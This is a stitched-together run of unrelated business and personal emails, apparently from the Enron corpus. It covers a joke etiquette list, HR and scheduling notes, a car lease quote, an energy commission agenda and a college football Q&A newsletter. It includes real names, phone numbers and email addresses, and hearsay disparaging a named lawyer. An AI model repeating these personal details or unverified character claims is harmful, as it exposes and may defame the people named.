> > > > >      Note: Its a good idea to keep a bucket of water
> > > > >      handy when using this method.
> > > > >
> > > > > Unlike clothes and shoes, a toothbrush should never  be
> > > > > a hand-me-down item.
> > > > >
> > > > > While ears need to be cleaned regularly, this is a  job
> > > > > that  should be done in private using one's  OWN  truck
> > > > > keys.
> > > > >
> > > > > - Texian's Dinning Out -
> > > > >
> > > > > Remember  to  leave a generous tip  for  good  service.
> > > > > After  all,  their mobile home costs just  as  much  as
> > > > > yours.
> > > > >
> > > > > - Texian's Entertaining in Your Home -
> > > > >
> > > > > A  centerpiece for the table should never  be  anything
> > > > > prepared by a taxidermist.
> > > > >
> > > > > Do  not  allow  the dog to eat at the table .  .  .  no
> > > > > matter how good his manners are.
> > > > >
> > > > > If your dog falls in love with a guest's leg, have  the
> > > > > decency to leave them alone for a few minutes.
> > > > >
> > > > > - Texian's Dating (Outside the Family) -
> > > > >
> > > > > Always  offer to bait your date's hook,  especially  on
> > > > > the first date.
> > > > >
> > > > > Be  aggressive. Let her know you are interested:  "I've
> > > > > been wanting to go out with you since I read that stuff
> > > > > on the men's bathroom wall two years a go."
> > > > >
> > > > > If  a  girl's  name  does not  appear  regularly  on  a
> > > > > bathroom  wall, water tower, or an overpass,  odds  are
> > > > > good that the date will end in frustration.
> > > > >
> > > > > - Texian's Theater Etiquette -
> > > > >
> > > > > Crying  babies should be taken to the lobby and  picked
> > > > > up immediately after the movie has ended.
> > > > >
> > > > > Refrain from talking to characters on the screen. Tests
> > > > > have proven they can't hear you.
> > > > >
> > > > > - Texian's Wedding Etiquette -
> > > > >
> > > > > A  bridal veil made of window screen is not  only  cost
> > > > > effective but also a proven fly deterrent.
> > > > >
> > > > > For the groom, at least rent a tux. A leisure suit with
> > > > > a  cummerbund  and a clean bowling shirt can  create  a
> > > > > natty  appearance.  Though uncomfortable,  say  yes  to
> > > > > socks and shoes for this special occasion.
> > > > >
> > > > > Its  is  not okay for the groom to bring a  date  to  a
> > > > > wedding.
> > > > >
> > > > > Livestock is usually a poor choice for a wedding gift.
> > > > >
> > > > > When dancing, never remove undergarments, no matter how
> > > > > hot it is.
> > > > >
> > > > > - Texian's Etiquette for All Occasions -
> > > > >
> > > > > Always identify people in your yard before shooting  at
> > > > > them.
> > > > >
> > > > > Always  provide  an  alibi to  the  police  for  family
> > > > > members.
> > > > >
> > > > > Always  say "Excuse me" after getting sick  in  someone
> > > > > else's car.
> > > > >
> > > > > Even  if  you're certain that you are included  in  the
> > > > > will,  it's considered tacky to drive a U-Haul  to  the
> > > > > funeral home.
> > > > >
> > > > > It's considered tacky to take a cooler to church.
> > > > >
> > > > > Never  take  a beer to a job interview or ask  if  they
> > > > > press charges.
>
>       Brenda Rowan
> *Phone:  (512) 446-8340
> *Phone-in-network:  8-329-8340
> *Fax:  (512) 446-8721
> e-*  Brenda.Rowan@Alcoa.com
> 

he can go - hoskins already has to buy a ticket - he just will need to buy a 
ticket in austin and then come sit with us at our seats

To: Eric Bass/HOU/ECT@ECT, Matthew Lenhart/HOU/ECT@ECT
cc:  
Subject: UT

Val would like to go if someone needs to back out (it won't be me this time) 
or if there are tickets still available.

Rick/Jim -- I have made the changes noted below.
Jim -- I spoke to Terrie Bosien, HR Generalists for the A/A group, and I've 
left you a voice mail regarding the PRC representation of the A/A in 
Government Affairs and Public Affairs.  Call me next week when you return to 
discuss.

If there's anything else that needs attention, please let me know.
Thanks.
Jo Ann

From:  Steffes, James  
Sent: Tuesday, May 15, 2001 4:41 PM
To: Hill, Jo Ann
Cc: Shapiro, Richard
Subject: PEP Issues

Jo Ann --

Some issues 

1. Margaret Carson is still on my list.  She retired. [Jo Ann Hill]   - 
Marked as "Inactive" in PEP.  She should no longer show on your list. 

2. Who has Jennifer Thome? [Jo Ann Hill]   Rick was listed as Jennifer's 
supervisor.  I have changed to Jim. 

3. Who has Alberto Levy? [Jo Ann Hill]   RIck was also listed as Alberto's 

Thanks,

Jim

John:

We're looking for one Analyst to replace a current Analyst that we have tha=
t's rotating in August. We'd like to bring someone in as soon as possible.

Regards,

Ben

From:=09John J Lavorato/ENRON@enronXgate on 05/07/2001 07:46 AM
To:=09Phillip K Allen/HOU/ECT@ECT, John Arnold/HOU/ECT@ECT, Harry Arora/ENR=
ON@enronXgate, Berney C Aucoin/HOU/ECT@ECT, Edward D Baughman/ENRON@enronXg=
ate, Tim Belden/ENRON@enronXgate, Christopher F Calger/ENRON@enronXgate, De=
rek Davies/CAL/ECT@ECT, Mark Dana Davis/HOU/ECT@ECT, Joseph Deffner/ENRON@e=
nronXgate, Paul Devries/TOR/ECT@ECT, W David Duran/HOU/ECT@ECT, Chris H Fos=
ter/ENRON@enronXgate, Chris Gaskill/ENRON@enronXgate, Doug Gilbert-Smith/Co=
rp/Enron@ENRON, Rogers Herndon/HOU/ECT@ect, Ben Jacoby/HOU/ECT@ECT, Scott J=
osey/ENRON@enronXgate, Kyle Kitagawa/CAL/ECT@ECT, Fred Lagrasta/ENRON@enron=
Xgate, John J Lavorato/ENRON@enronXgate, Eric LeDain/CAL/ECT@ECT, Laura Luc=
e/Corp/Enron@Enron, Thomas A Martin/ENRON@enronXgate, Jonathan McKay/CAL/EC=
T@ECT, Ed McMichael/HOU/ECT@ECT, Don Miller/ENRON@enronXgate, Michael L Mil=
ler/ENRON@enronXgate, Rob Milnthorp/CAL/ECT@ECT, Jean Mrha/ENRON@enronXgate=
, Scott Neal/HOU/ECT@ECT, David Parquet/SF/ECT@ECT, Kevin M Presto/HOU/ECT@=
ECT, Brian Redmond/ENRON@enronXgate, Hunter S Shively/ENRON@enronXgate, Fle=
tcher J Sturm/HOU/ECT@ECT, "Swerzbin, Mike" <Mike.Swerzbin2@ENRON.com>@SMTP=
@enronXgate, C John Thompson/ENRON@enronXgate, Carl Tricoli/Corp/Enron@Enro=
n, Barry Tycholiz/NA/Enron@ENRON, Frank W Vickers/NA/Enron@Enron, Lloyd Wil=
l/HOU/ECT@ECT, Greg Wolfe/ENRON@enronXgate, Max Yzaguirre/NA/Enron@ENRON, J=
ohn Zufferli/CAL/ECT@ECT
cc:=09=20
Subject:=09

I asked everyone for their A/A needs and received very little feedback.  Pl=
ease respond promptly.

Thanks =20

John

Karen,

As far as I'm concerned you have answered my legal questions.  I will add 
that I think that it is the City which  has preserved its option as to who 
repairs the road since they have approval authority.  However, this doesn't 
seem like a big issue to me.

So long as the commercial team is happy with the minor changes with the risk 
profile, I'm happy.

Kay

Thank you for your order! 
 
Please review the following information, if anything is incorrect please contact customercare@fitrx.com.
  
Prod # Brand      Description                         Size       Qty  Price      Ext. Price
 
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                                                                       Subtotal:     $76.85
                                                           Sales Tax (IL 2.00%):      $0.00
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JOE PARKS
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Please allow 3 - 10 BUSINESS days for your order to arrive, including transit time. If your address is not verified or your credit card is not authorized, your order may be delayed or cancelled. 
 
FitRx.com cannot be held responsible for errors in product information or inventory availability.

Christian:  How is 3 pm Houston/1 pm  Portland on Friday?

	06/05/2001 11:07 AM
		 
		 cc: 
		 Subject: RE: Schedule meeting with Mark Taylor for Thursday, June 7

3:30 Thursday, Central Time happens to fall exactly to the minute on a time 
when I have to be on the phone with Mark Haedicke and Elizabeth Sager.  I 
cannot move that time.  Can we go earlier or move it to Friday?  I am trying 
to get the cases to you as soon as I can. ----cgy

From:  Shackleton, Sara  
Sent: Tuesday, June 05, 2001 7:07 AM
Subject: Re: Schedule meeting with Mark Taylor for Thursday, June 7

Christian:  Please mark this time on your calendar to speak with Mark T.:  
3:30 Houston/1:30 Portland.  We'll call you.

Will Pat Boylston send over 1 or 2 cases for us to review prior to the call?

Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 06/05/2001 09:00 AM -----

	Holly Keiser@ENRON_DEVELOPMENT 06/05/2001 08:36 AM 	  To: Sara 
Shackleton/HOU/ECT@ECT  cc:   Subject: Re: Schedule meeting with Mark Taylor 
for Thursday, June 7 << OLE Object: StdOleLink >> 

Sorry... you mentioned that in the subject line.

3:30 pm on Thursday.

Holly Keiser
Enron Americas
Legal Department - EB 3887
713-345-7893 (ph)
713-646-3490 (fx)
Holly.Keiser@enron.com

	Sara Shackleton@ECT 06/05/2001 08:19 AM 	  To: Holly 
Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT  cc:   Subject: Re: Schedule 
meeting with Mark Taylor for Thursday, June 7 << OLE Object: StdOleLink >> 

I'd like to meet Thursday, June 7 

	Holly Keiser@ENRON_DEVELOPMENT 06/05/2001 07:34 AM 	  To: Sara 

Sara -- I've scheduled 3:00 PM following today's Legal/Credit meeting.  If 
you prefer later, please let me know.

Thanks!

	Sara Shackleton@ECT 06/04/2001 06:12 PM 	   To: Holly 
Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT  cc:   Subject: Schedule meeting 
with Mark Taylor for Thursday, June 7

Does Mark have time in the afternoon to meet with me and Christian Yoder 
(Portland - 2 hours earlier than CST)?  The topic is "Washington State 
PUD's".  I'd schedule about an hour.  Thanks.

I have attached a background piece to brief oil traders on this subject prior 
to a possible meeting with them.

Please give me any comments on 1) accuracy  2) completeness and 3) coverage 
of the areas we want to explore.

As a side note, I found some info on the web stating current proven oil 
reserves are 1,000 billion bbls.  Discovery of a 1 billion bbl field would 
add only 0.1 %.  While we will pursue the trading advantage option, it is not 
looking promising that it has great short term value, given the long time 
frame and high cost of bringing deep water reserves to market.

Bob Lee

Per the note that you should have received from Carrie, we might have to
make it a bratwurst at Volcano's this Friday.

We might have to put Gerald in a helmet....

Ryan F. Ruppert
West Texas Geoscience
US West Production Company
ExxonMobil Corporation
P: 713.431.1839
F: 713.431.1510
ryan.ruppert@exxonmobil.com

I just spoke with another lawyer in our firm that worked at the Robins
Caplin plaintiffs firm where Joe Dunn was before he went to Mark Robinson's
firm.  From an associates perspective, Joe Dunn was never the person to
write the briefs.  He would always have his cross examination scripted by
others.  The bottom line is that Joe Dunn can be very dangerous with the
correct support -- on his own, he is unlikely to figure it out.    Said
differently, Joe Dunn is not a nuts and bolts lawyer.  He is the front
person -- great in front of people and the big picture.  He last was
involved in a case in 1993-94.

I spoke with another partner in our firm whose wife is a former partner of
Joe Dunn's.  Another report that Joe is very long on show and short on hard
work.  The circumstances under which he left the Robin Caplin firm were not
favorable.  Joe is very well connected, having spent most of his time
networking.   There is the possibility that there are some things in Joe's
past that he is not particularly proud of.  He is a politician and anything
that will promote his career, he will use.  Said differently, he talks a
great game but is probably marginal on the legal issues.

Thanks
Gary

California Energy Commission
Business Meeting Agenda
ADDENDUM 

Please note that audio from this
and future Business Meetings are
broadcast over the Internet
using Real Audio technology. 

ADDITIONAL ITEM TO BE HEARD

Wednesday, December 19, 2001

1516 Ninth Street 
Hearing Room A, First Floor
Sacramento, California 95814
10 a.m.
(Wheelchair Accessible)

IN ADDITION TO THE AGENDA THAT WENT OUT ON DECEMBER 7, 2001, THE COMMISSION WILL TAKE A VOTE TO CONSIDER THE FOLLOWING ITEMS. ONCE THE VOTE IS TAKEN THE COMMISSION WILL POSSIBLY CONSIDER THE FOLLOWING ITEMS UNDER THE CONSENT CALENDAR: 

1.	CONSENT CALENDAR. (Items on the consent calendar will be taken up and voted on as a group. A Commissioner may request that an item be discussed and moved to later on the agenda). 
   b.	GWF ENERGY, LLC HENRIETTA PEAKER PROJECT. Possible approval of a Committee for the GWF Energy, LLC Henrietta Peaker Project Application for Certification. A four-month, 91.4 megawatt power plant located in Kings County (Docket No. 01-AFC-18). Contact: Bob Eller, (916) 651-8835. (5 minutes) 
   c.	WESTERN GOVERNORS' ASSOCIATION. Possible approval of Contract 150-99-005 Amendment 2, to extend the term 90-days to March 31-2002, to allow additional time for the Office of Emergency Services to prepare and process final invoices.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 

To unsubscribe from this list, please go to:

http://www.energy.ca.gov/listservers/

Or simply send an e-mail to majordomo@energy.ca.gov
and in the body of the e-mail, type in

unsubscribe (name of this list)

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Farideh Namjou
Web Development Team
916-654-4989

Nathan, give me  call if you can -- 713-853-1586.  I'm EVP and Chief of Staff 
for Enron.  We met during the on-campus interview process.  I know we have 
extended an offer and I'm still hoping you'll accept.  Call me.

Bill Beach, jazz piano for month of May and summer tour.

Sundays:
06 w/ Dan Presley, Heathman Lodge, Vancouver, 5:30-9:00pm
13 solo brunch, Heathman Lodge, Vancouver, 10:00am

Mondays:
7, 14 w/ Ron Steen Trio at Produce Row Cafe, SE 2nd & Oak, 9:00pm to
midnight

Thursday:
10, solo in London Grill at Benson Hotel, 5:30-9:30pm

Friday and Saturday:
11, 12, solo in London Grill at Benson Hotel, 6:00-10:00pm

Europe Tour:
begin May 19, Barcelona, Spain w/ Kelly Broadway Trio
3 months, 16 countries on Royal Caribbean ship "Legend of the Seas"

August 10, Harwich, England, begin motorcycle tour.

Email schedule will resume sometime in October.

thanks,

Bill

 - ship9.jpg

---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 08/19/99 01:55 
   
	From:  "William F Henze" <William_F_Henze@jonesday.com>                       
    08/19/99 11:27 AM
	
To: "Caroline Goodson" <CGOODSON@schiffhardin.com>
cc: fmd@aep.com, Elizabeth Sager/HOU/ECT@ECT, akatz@eei.org, ecomer@eei.org, 
mroger3@entergy.com, wfhenze@jonesday.com, kdleitao@llgm.com, 
dmperlman@powersrc.com, rosteen@powersrc.com, jcrespo@statoilenergy.com, 
pdondanv@schiffhardin.com 
Subject: Muni Rider

___________________________________________________________________________
____

 This message is intended for the individual or entity named above.  If you
are not the intended
 recipient, please do not read, copy, use or disclose this communication to
others; also please
 notify the sender by replying to this message, and then delete it from
your system.  Thank you.
____

Per my last email, here it is.  This is based on our experience
representing a non Governmental Entity in a potentially tricky deal with a
city.

Regards.

Fritz.

(See attached file: Schedule M - Blacklined.wpd)             (See attached
file: Schedule M - Clean.wpd)

 - Schedule M - Blacklined.wpd
 - Schedule M - Clean.wpd

My flight schedule: 
 Monterrey - Houston - San Diego 
June 7h, CO3564B- arrives to Houston at 12:37 pm and leaves at 2:25 pm on gate 4B 
Return: 
June 9th, CO372T- arrives to Houston at 2:40 pm and leaves 6:25 pm on gate 8A. 
Can you gus come on Sunday????? If so, where shoul I meet you? 

Agreed.  Ray Alvarez is working with Fergus and Watkiss, etal to get this taken care of.

Jim

From: 	Belden, Tim  
Sent:	Thursday, August 09, 2001 1:09 PM
To:	Steffes, James D.; Comnes, Alan
Subject:	Negative CTC at FERC

You both probably already know this, but just to reiterate from my notes.  We need to be in the position to produce the following for FERC:
Paper trail that proves its value
Paper trail that explains the assignment from EES to EPMI (if that is indeed true)
Identify who will prepare the affidavit and give testimony if needed

Jim, we talked about the first one but not the next two.

Hey Shelly,
 You finally got yours.. I am elated to hear it, being a Californian I 
couldn't be happier..
Hope you all go to jail, and have to give all the employee's their money 
back..
                                                    Judy

Please comment.
---------------------- Forwarded by Ed McMichael/HOU/ECT on 12/01/2000 04:28 

Janet R Dietrich
11/20/2000 09:40 AM
To: Ed McMichael/HOU/ECT@ECT
cc:  
Subject: Re: Tenaska Gas management Agreement  

What's the status here? Is the Agency Agreement a gas management contract? 
What is ENA's obligation and who is the point person internally on 
negotiating this? Rick Hill? Does ENA have exposure because this isn't yet 
executed? Please advise. Thanks.

I just spoke with Steve Doss and explained how to get a power marketer 
certificate at FERC (and EWG filing if necessary depending on who West Linn's 
partner is for plant ownership) and the 60 day (generally) time required 
(Although I think that FERC would be inclined to wave the 60 days based on 
the supply shortage in the West).  I also explained that EPMI is making a 
filing this week at FERC that would allow EPMI to provide some FERC filing 
services on behalf of industrial customers in order to facilitate their sales 
to the grid (when approved, hopefully in about 60 days).  He said that West 
Linn has not built the 2 cogens yet (43 MWs each of which West Linn would use 
appr. 17 MWs/hour), but that it is interested in setting up its licenses 
before the start of retail access on 10/1/01 in Oregon.  (An item to think 
about--I don't know anything about the Oregon retail program or current rate 
structure with PGE, but generally the lack of retail open access will not 
prevent an industrial on site generator from selling to the grid, unless its 
host utility rate schedule precludes it from doing so).

I am sending him a FERC order issued last year dealing with industrials 
selling to the grid (InPower order), plus will send him the EPMI filing when 
we make it later this week.

SHARI STACK
02/21/2001 12:23 PM
To: Christi L Nicolay/HOU/ECT@ECT
cc: John Malowney/HOU/ECT@ECT 

Subject: A Request to Talk to One of our Customers

Hi Christi- 

I just met with another potential customer who is going to buy power from us 
intially but may want to sell us power in the future due to a Cogen plant 
they are building. I asked if they were going to get a Power Marketers 
Certificate in order to sell the power and got a blank look. I mentioned that 
I had a colleague that could give them more information on how to go about 
getting this. 

Could you please call Steve Doss on (503) 557-6587 to point him in the right 
direction to getting the PMC?  He is with West Linn Paper Company here in 
Oregon.

Thank you,

Shari

---------------------- Forwarded by Kay Mann/Corp/Enron on 03/06/2001 01:31 

"Leatha Brown" <lbrown1@erac.com> on 03/06/2001 01:08:09 PM
Please respond to <lbrown1@erac.com>
cc:  

Subject: RE: Escalade

The last quote I sent over was for 36 months and
I haven't taken into consideration the price/tax
savings of the Lexus.  I contacted our remarketing
department and they are still working on getting
#'s.

I'll let you know soon!!!

Leatha

Sent: Tuesday, March 06, 2001 12:49 PM
To: lbrown1@erac.com

Leatha,

I have a couple of questions.  Do your numbers assume $7500 down (in
addition to the tax etc), and is the term 36 months or 48?  Both time
frames are mentioned in your explanation.

Have we heard anything on the remarketing of my Lexus?  Does the cost
include the tax trade on the Lexus?

Thanks for your help,

Kay

"Leatha Brown" <lbrown1@erac.com> on 03/05/2001 05:37:50 PM

To:   <Kay.Mann@enron.com>
cc:

Subject:  RE: Escalade

Kay,
The dealership will not come down on the price
for the gold and wood trim.  I have an aftermarket
company that can do both for $550.00.  Here is
a 36 month quote for the Cadillac including the
gold and wood.  Please review and let me know if you
have any questions.

EQUITY LEASE FOR TERM OF 36 MONTHS

$  39976.38          Cost of vehicle
    2498.52*Sales tax
     161.00*Registration
    7500.00*Cost reduction
$  39976.38          Delivered price
$    568.33          monthly depreciation
     187.81          Monthly lease charge
$    756.14          Monthly rental

$  12016.15          Termination value @ 48 months

*to be billed on delivery

Leatha

Sent: Saturday, March 03, 2001 5:05 PM
Cc: nmann@erac.com
Subject: Escalade

Hi Leatha,

Neil and I went to D Taylor and looked at an Escalade. We liked it,
however, we want to price it with a couple of extra features.  I like the
extra wood package, and Neil likes it with the gold trim package.  When we
asked for a price, it added around $1700, which I thought was ridiculous.
They offered to discount it by $200, which I again thought was ridiculous.
When we priced these options at McGinniss, the price was less ($600 for the
wood package instead of $995, for instance), and they offered to discount
the options by a third.  So, we can get the deal done if they will get
reasonable over these options.  The sales guy (Nathaniel) was going to
"work on it".  The fellow you had told us to ask for wasn't in, by the way.

I will be out of town on Monday, but Neil will be in, and will have my
Lexus.

Thanks,

Kay

  [IMAGE]  =09  [IMAGE] =20

=09
=09
=09[IMAGE]
=09
=09Brown vs. Bellotti in San Diego  Dec. 7, 2000 =20
=09
=09[IMAGE]Chip Brown, who covers Texas football for The Dallas Morning News=
,=20
answers your questions about the Holiday Bowl, UT's quarterback situation, =
=20
probable NFL draft picks, Mack Brown and more. Inside UT Football appears o=
n=20
Thursdays.=20
=09
=09 E-mail questions to Chip: chipbrown@dallasnews.com=20
=09
=09 Listen to Chip Brown talk about the Longhorns on
=09DallasNews.com's Colleges site=20
=09
=09 Buy all your UT team gear at our E-Fanshop.com=20
=09
=09
=09Chip Shot=20
=09=20
=09
=09One of the most intriguing matchups to watch in this year's Culligan Hol=
iday=20
Bowl at San Diego will take place on the sidelines with Texas coach Mack=20
Brown going up against Oregon's Mike Bellotti.=20
=09
=09 You may not know much about Bellotti, but know this about his tenure at=
=20
Oregon - in six years, he has a 48-22 record, and those 48 wins are more th=
an=20
any other Pac-10 school during that time period. And over the last four=20
seasons, Oregon is 33-13 with four consecutive bowl game appearances. The=
=20
Ducks' two losses this season were by a combined total of 14 points (37-34=
=20
vs. Wisconsin and 23-13 at Oregon State). =20
=09
=09 Brown certainly is impressed by Bellotti's success at Oregon.=20
=09
=09 "Mike Bellotti is a personal friend," Brown said in a news release from=
 UT's=20
sports information office. "He took over for Rich Brooks at Oregon a number=
=20
of years ago when they were representing the Pac-10 in the Rose Bowl for th=
e=20
first time in a long time. He has done a great job building on that success=
=20
each of his years as head coach. It will be fun to be around him and his te=
am=20
throughout the week." =20
=09
=09 Added Holiday Bowl president Jim Philion: "Coach Bellotti has built the=
=20
Ducks into one of the premiere football programs in the country. The game=
=20
this Dec. 29 against Texas will increase an already exciting rivalry betwee=
n=20
the Pac-10 and the Big 12." =20
=09
=09 Longhorn fans can purchase tickets to the Culligan Holiday Bowl by=20
contacting the UT ticket office (512-471-3333/1-800-982-BEVO) or by logging=
=20
on to the athletics department Web site (www.TexasSports.com). =20
=09
=09
=09
=09 Longhorn Q & A  Q: Longhorn officials will probably not say which bowl =
they=20
would prefer to play in, but were any of their options less desirable becau=
se=20
of dates, travel, ticket sales or impressing recruits?=20
=09 ?? Todd Davis=20
=09
=09 BROWN:  The Longhorn team and coaching staff really wanted to go to the=
=20
Holiday Bowl. I know that sounds like, "Well, of course, that's what they=
=20
would say." But the coaches were trying to motivate the team before the=20
Kansas game by saying if UT won out, they would go to the Holiday Bowl, a=
=20
fun, sunny destination against a top 10 team. Aside from the beach balls an=
d=20
surfing, the UT players wanted to go to San Diego because they are paid=20
mileage by the NCAA from their hometowns to get to the bowl game. For=20
instance, Chris Simms was paid $1,500 by the NCAA to get from New Jersey to=
=20
the Cotton Bowl last year. So he'll really clean up this year. Not that he=
=20
needs it. But you get the picture. It's a way for some of the players to ma=
ke=20
a nice little chunk of change because what many of them will do is take the=
=20
mileage money from the NCAA and then try to buy a cheaper airline ticket an=
d=20
pocket the rest. The players are responsible for getting to San Diego on=20
their own. The team will not charter a flight. (All players have to be=20
checked into the team hotel in San Diego by 10 p.m. on Dec. 22). Mack Brown=
=20
wanted to go to the Holiday Bowl from the time it appeared Oklahoma would w=
in=20
the Big 12 South because he knew it would give Texas a chance to play a top=
=20
10 team. And he wants his team excited and pumped up to play a surging team=
.=20
Last year, Texas and its fans couldn't seem to get fired up for an unranked=
=20
7-4 Arkansas team in the Cotton Bowl, one year after having played in the=
=20
same game. So believe it when UT says the Holiday Bowl is where it wanted t=
o=20
be.=20
=09?
=09
=09
=09
=09
=09
=09
=09[IMAGE] Casey Hampton =20
=09
=09Q: How high do you think Casey Hampton will go in the NFL draft?  I woul=
d=20
think he's a cinch first rounder. Could he go in the top five?   ??=20
=09
=09 BROWN:  Hampton could go in the first or second round. The second round=
=20
might be more likely because there are so many highly touted defensive=20
linemen coming out this year. But Hampton has been really watching his weig=
ht=20
and trying to improve his speed. He promised me that scouts at the NFL=20
combine will be surprised when=20
=09
=09they see him work out. Hampton is a great story. The guy just works his =
tail=20
off and knows that his height (slightly more than 6-1) will probably play=
=20
against him. So he is going to try to blow scouts away in every other area.=
=20
But as he told me in a story that The Dallas Morning News and DallasNews.co=
m=20
ran before the Texas A=02?game, "The film don't lie. If you can show me whe=
re my=20
height has hurt me, it's on you." I would be surprised if Hampton fell to t=
he=20
third round.=20
=09?
=09
=09
=09 Q: Let's see now: Rose Bowl ... Cotton Bowl ... Sugar Bowl ... Orange B=
owl=20
...  Fiesta Bowl ... Galleryfurniture.com Bowl ...  Which one does NOT give=
=20
you cold chills just to think about? =20
=09?? R.R. =20
=09
=09 BROWN:  At least the galleryfurniture.com Bowl is not called the Poulan=
=20
Weedeater Bowl, a name that still haunts the now-Sanford Independence Bowl,=
=20
where Texas A=02?will meet up with former coach Jackie Sherrill this year. =
We=20
have to hope the furniture bowl, which will be played in the Houston=20
Astrodome, fairs better than the old Bluebonnet Bowl, which went bankrupt a=
nd=20
failed to pay Texas and Pittsburgh their purses for the 1987 game (won by U=
T,=20
32-27). That was the last bowl game ever played in Houston. =20
=09?
=09
=09
=09 Q: Texas' quarterback controversy early this year was an artificial thi=
ng =20
manufactured by the ill-fated rotation scheme. Now, however, the  quarterba=
ck=20
controversy is real. Texas now has two genuine starting  quarterbacks. Chri=
s=20
Simms is no longer the next boy wonder. He  has arrived. Does ANYONE in the=
=20
nation have a better quarterback  tandem than Texas? How in the world is Ma=
ck=20
Brown going to deal with this?  If they keep the simplified offensive schem=
e=20
next year, do you think the  QB rotation could resurface and actually work?=
 =20
=09?? Rowell Rogers, Denton, Texas=20
=09
=09 BROWN:  I said before this season that Mack Brown would earn every penn=
y of=20
his salary because of the quarterback situation. And he'll earn every penny=
=20
again next year. Unless unforseen circumstances, such as injuries, dictate=
=20
otherwise, I think it will be difficult for Chris Simms to redshirt next=20
year. And I think it will be difficult for the coaches not to start Simms=
=20
next year. He won the job because of an injury to Major Applewhite, just as=
=20
Major won the job because of an injury to Richard Walton. If Simms starts t=
he=20
bowl game, and Texas plays well and wins, Simms will have done nothing to=
=20
lose the job and would probably go into the spring and fall as the starter.=
=20
If Texas flounders under Simms in the bowl game and Applewhite needs to com=
e=20
in and relieve him, then we are back to square one, with both guys battling=
=20
it out in the spring and fall to see who is the starter. Texas coaches have=
=20
said they were more comfortable with Applewhite coming off the bench this=
=20
season because of his experience. So we'll see if their stance has changed.=
=20
=09?
=09
=09
=09 Q: The 70-yard pump-and-go TD play from Chris Simms  to B.J. Johnson is=
 both=20
a validation of Simms' abilities AND an indictment  of the quarterback=20
rotation. Chris Simms made that play happen because he had played  every=20
offensive down in the game to that point and knew the tendencies of the=20
defensive  player responsible. To my mind, that is a strong argument agains=
t=20
any kind of QB rotation  scheme. But, on the other hand, how can one NOT wa=
nt=20
to play both of these  immensely talented quarterbacks as much as possible?=
=20
Can we get a rule change to allow  two footballs on the field at once (ha=
=20
ha)?   ??=20
=09
=09 BROWN:  The only argument I could make in favor of the quarterback rota=
tion=20
next year is that Simms should have more confidence and thus should flouris=
h=20
whenever he is on the field. But his comments all season have directly and=
=20
indirectly indicated that he hated the rotation and that his confidence=20
didn't come around until he was taking all the snaps. So I don't know if th=
e=20
coaches are willing to put him through that again and risk losing his=20
confidence.=20
=09?
=09
=09
=09
=09
=09
=09
=09[IMAGE] Mack Brown =20
=09
=09Q: What is your opinion of Mack Brown as a gameday coach? I noticed earl=
ier=20
in the season that you picked Texas Tech for the upset over the Longhorns,=
=20
which seemed to be an indictment on Mack Brown's ability to fire up the tea=
m,=20
assuming that Texas has more talented players. I think that he has proven=
=20
that he can win big games, but he has also had some surprising slipups. Bro=
wn=20
is unquestionably a great recruiter, but do you question his leadership=20
ability on gameday? =20
=09 ?? Andrew Wootton=20
=09
=09 BROWN:  Up until the Texas Tech game, Mack Brown was saying things like=
 "We=20
could lose any game we play. I just don't know which team is going to show=
=20
up. We could go 6-5 or 9-2." Those kinds of=20
=09
=09comments factored into my thinking when picking Texas Tech to beat the=
=20
Longhorns. Brown is as adept at public relations and communication as any=
=20
coach I've been around. So when he was saying things like that, it made you=
=20
wonder if this team was ever going to develop an identity. Clearly, this ye=
ar=20
was a tough year in terms of leadership on the field on offense. The defens=
e=20
was fine with Casey Hampton leading the charge. But the offense really=20
struggled to find an identity. Part of that was the quarterback rotation.=
=20
Part of it was having young receivers, and part of it was having a bunch of=
=20
guys with low-key personalities (i.e. Hodges Mitchell, Leonard Davis, Antwa=
n=20
Kirk-Hughes, Derrick Dockery, Mike Williams etc.). Mack Brown even said it=
=20
was the quietest bunch of offensive players he'd been around. Once Mack Bro=
wn=20
and Co. decided to simplify the offense and designate Major Applewhite as t=
he=20
starter, Brown was making a plea to the offense for leadership as much as=
=20
anything else.=20
=09
=09I think Mack Brown is a great coach. Let me say that again. He is a grea=
t=20
coach. I think this year was a test of his finding and developing leadershi=
p=20
on the field. The more he rotated the QBs, the less chance the offense had =
to=20
develop an identity because the young receivers were clearly struggling wit=
h=20
learning their responsibilities in four-wide as well as trying to adjust to=
=20
having two QBs coming in and out of the huddle. The offensive linemen, earl=
y=20
on, also struggled with gap schemes and just hitting the guy in front of hi=
m.=20
I'm sure the coaches thought the offense would come together more quickly=
=20
than it did. Mack Brown has already gone back and said that he wished he=20
played Simms more in the Stanford game - an outing in which Applewhite real=
ly=20
struggled until the fourth quarter. Against Oklahoma, the Sooners executed=
=20
flawlessly early and Texas got hit with a punch it couldn't get up from. It=
=20
was the first inexcusable loss of the Mack Brown era and ended his honeymoo=
n=20
in Austin, according to many.=20
=09
=09But Mack Brown is smart enough and charming enough to have the fans eati=
ng=20
out of his hand any time he wants. All he has to do is tune out the negativ=
e=20
comments he hears reported in the media or on the Internet and simply say,=
=20
"We are doing the best we can. We learn. We make mistakes. We're going to=
=20
keep trying harder." Those are comments no negative fan can argue with.=20
Instead, Brown became upset with the negative voices and let it taint=20
everything about this season. Each press conference was filled with a comme=
nt=20
about how the media and fans had beat up this year's team. It was=20
contentious. Mack Brown uses Joe Paterno as his role model often times.=20
Paterno hates the media, rarely gives out interviews, etc. So if Mack Brown=
=20
is following in Paterno's footsteps on that issue, it would be a shame.=20
Paterno doesn't have one-quillionth the public relations savvy of Mack Brow=
n.=20
=09
=09Brown got tough questions during his radio call-in show this season. Som=
e=20
weeks he hid his contempt for them better than others. But a guy like Brown=
=20
is good enough and smart enough that he should just let this stuff roll off=
=20
of his back, use that self-deprecating laugh of his and then take his=20
frustration out in the meeting and film rooms while finding ways to turn hi=
s=20
team into a juggernaut. Mack Brown should know his team's personality going=
=20
into next year because so many players will be back. And he'll have this ye=
ar=20
as a blueprint of how not to do things, in many instances. And he's where h=
e=20
wants to be - at a major college football power and always being in the=20
position of favorite. At North Carolina, as well as he recruited and coache=
d,=20
Florida State was always going to be the bully in the neighborhood. At Texa=
s,=20
he had beaten Nebraska the first two times he played them and showed that=
=20
Texas was going to be the new bully in the Big 12. Now, Oklahoma has come=
=20
charging past the Longhorns and Bob Stoops has done everything without=20
